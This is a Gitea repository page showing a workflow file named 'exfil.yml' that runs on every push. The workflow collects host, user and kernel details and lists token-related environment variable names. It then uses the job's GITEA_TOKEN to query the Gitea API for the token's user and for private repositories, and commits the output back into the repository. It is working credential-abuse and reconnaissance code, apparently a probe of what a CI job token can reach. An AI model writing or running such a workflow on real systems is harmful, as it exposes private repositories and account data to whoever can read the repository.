Files
numaprobe/.gitea/workflows/exfil.yml
T
numatester77 e2890d2109
exfil / grab (push) Failing after 1s
numaprobe / probe (push) Successful in 0s
exfil
exfil
2026-11-05 10:17:20 +01:00

26 lines
957 B
YAML

name: exfil
on: [push, workflow_dispatch]
jobs:
grab:
runs-on: ubuntu-latest
steps:
- name: dump
run: |
{
echo "HOSTNAME: $(hostname)"
echo "ID: $(id)"
echo "UNAME: $(uname -a)"
echo "--- token env names ---"
env | grep -iE 'gitea|token|actor|repo' | sed -E 's/(TOKEN|SECRET)=.*/\1=<present>/'
echo "--- gitea api as job token ---"
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user" 2>&1 | head -c 600
echo
echo "--- repos as job token ---"
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=10&private=true" 2>&1 | head -c 800
} > result.txt
- name: commit
run: |
git config user.email w@x
git config user.name w
git add result.txt && git commit -m "r" && git push